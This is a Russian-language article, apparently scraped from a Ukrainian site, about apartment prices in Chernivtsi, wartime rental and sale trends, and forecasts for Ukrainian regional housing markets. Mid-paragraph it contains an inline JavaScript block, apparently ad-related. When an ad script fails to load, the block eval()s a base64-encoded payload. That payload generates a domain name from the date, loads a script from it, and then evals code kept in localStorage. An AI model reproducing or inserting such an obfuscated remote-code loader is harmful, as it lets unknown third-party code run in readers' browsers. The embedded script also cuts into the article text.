Несмотря на то, что рынок недвижимости постепенно приходит в себя после стагнации, спрос на куплю жилых объектов все еще не высок. Люди только присматриваются к подходящим местам и квартирам. Возможность вновь купить квартиру в Черновцах по доверенности сказалась на количестве предложений. Цены при этом не спешат подниматься. Посмотреть актуальные предложения и сравнить стоимость заветных квадратных метров позволит DOM.RIA. Что же произойдет с ценником в перспективе — давайте разбираться.
Сколько сейчас стоит квартира в Черновцах
Средняя стоимость м² варьируется в пределах 36 274 грн (870$). Это достаточно высокая цена, ведь в Тернополе или Ивано-Франковске квартиру можно найти примерно на 25% дешевле. Город разделен на несколько районов. В зависимости от спроса формируется стоимость:
Первомайский — 21 222 грн/м²;Садгорский — 26 976 грн/м²;Шевченковский — 39 610 грн/м²;Хотинский — 39 860 грн/м².
Престижную квартиру традиционно нужно искать в центре города (от 34 023 грн/м²), вблизи исторической застройки (от 37 817 грн/м² возле ул. Героев Майдана и от 49 825 грн/м² по ул. Щербанюка), возле больших ТРЦ (от 45 197 грн/м² по ул. Сторожинецкой). В приоритете — жильё возле парков и лесов (от 41 694 грн/м²). Хотинский район выигрывает благодаря наличию огромного рынка, промышленных предприятий.
Бюджетные квартиры располагаются в пригородной зоне (от 28 019 грн/м²), в отдаленных населенных пунктах: Заволока, Годилов, Чагор, Магала, Буда, Задубровка, Новый Киселев.
Стагнация или оживление: на что рассчитывать в перспективе
Важно понимать, как ситуация выглядела несколько месяцев назад. Для этого провели подробное аналитическое исследование, которое зацепило не только покупку, но и аренду жилых объектов. Анализировали ситуацию в регионе по 3 критериям: спрос, предложение, стоимость.
Черновцы стали одним из тех регионов, который принимал ВПЛ в первую пору. Разумеется, в начале активных военных действий люди не спешили обзаводиться жильем. Спрос пришелся на краткосрочную и длительную аренду. Возрос на 39%. Предложения сократились на 44%. Люди бесплатно сдавали свою квартиру переселенцам, волонтерам, военным. К тому же многие поспешили выехать за границу. Это повлияло на ценник, который к концу мая 2022 года повысился на 156%. Высший показатель продемонстрировало только Закарпатье.
Стоимость покупки квадратных метров при этом возросла малозаметно — на 12%. Предложения сократились на 38%, а спрос — на 67%. Это стало причиной своеобразного «затишья», чем не могли похвастаться более оживленные города, например, Львов. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Что ожидать от цен
Прогнозировать сложно. Повлияет то, насколько разрушенным окажется жилой фонд после окончания войны. Внесет лепту общее состояние экономики, промышленности и инфраструктуры. Но эксперты сходятся на мнении, что карта Украины разделится по географическому принципу:
Города, требующие восстановления. Киев, Чернигов, Харьков, Донецк, Луганск, Херсон, Мариуполь, Николаев — города, куда пойдут самые большие инвестиции. Принцип жилой застройки пересмотрят и адаптируют к современным реалиям жизни. Стоимость жилья в восстановленных домах впечатлит. Повышение ценника там станет стремительным и повысится в течение 2-3 лет после окончания войны.Центр — равно стабильность. Черкасская, Кировоградская, Полтавская, Днепропетровская — регионы, которые продемонстрировали стабильность даже в мае, когда реестр еще не функционировал. При этом в Киев больше не пойдут такие огромные инвестиции, как раньше. Ценник в этих областях перевалит отметку в 1 000$. Повлияет дефицит рабочей силы, стоимость материалов, инфляция.Безопасные западные регионы. Сюда, помимо Черновцов, относят Львов, Ужгород, Хмельницкий, Тернополь, Ивано-Франковск, Луцк и Ровно. Еще в далеком 2014 году всем стало понятно, что война и внутренняя миграция — сильный толчок на пути к развитию жилого строительства. Люди давно заплатили высокую цену за свою безопасность. Так что здесь прогнозируется самый медленный рост цен. Эмоциональная составляющая станет решающей при выборе дальнейшего места жительства.
Следовательно, вывод один — цены в Черновцах поднимутся. Но не так существенно, как в других регионах. Большинство владельцев жилых объектов решит привязать ценник к курсу доллара. Повлияет девальвация гривны, подорожание логистики и разрушение многих промышленных предприятий на территории Украины. Спрос сформирует предложение.
Стоит ли сейчас покупать квартиру в Черновцах
Однозначно, если это делается с целью личного проживания. Стоит присмотреться к вариантам, которые активно появляются на рынке. Многие владельцы выехали за границу и продают квартиры по хорошим ценам. При этом важно учитывать общее состояние дома и ориентироваться на долгосрочную перспективу. Возможно, есть смысл вложиться в 2- или даже 3-комнатную квартиру, если в семье планируется пополнение.
Покупать жилье можно с целью инвестиций. Ищите ликвидные жилые объекты: 1- и 2-комнатные квартиры с площадью до 75 м² на средних этажах. Идеально, если по соседству расположится парк, водоем и развитая инфраструктура. Важно, чтобы в пределах пешей доступности находился подземный паркинг или подвал, который можно оснастить как временное убежище. Также можно рассмотреть квартиры-студии. Покупку смарт-квартир стоит отложить. Люди стремятся к комфорту и пространству, так как вынуждены отдыхать и работать в одном месте.
То же самое относится к покупке жилья с целью сдачи в долгосрочную аренду. Предложений на рынке предостаточно. Спрос не так велик, ведь много ВПЛ возвращаются на родные земли. Даже если купить квартиру з готовым ремонтом по выгодной цене, никто не даст гарантий, как долго её можно будет сдавать в аренду. К тому же скоро на рынок вернется еще больше игроков, так как пересылка доверенности занимает некоторое время. Родственники вновь смогут помогать с обслуживанием жилых объектов.
(adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/budut-li-padat-tseny-na-nedvizhimost-v-chernovtsah/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
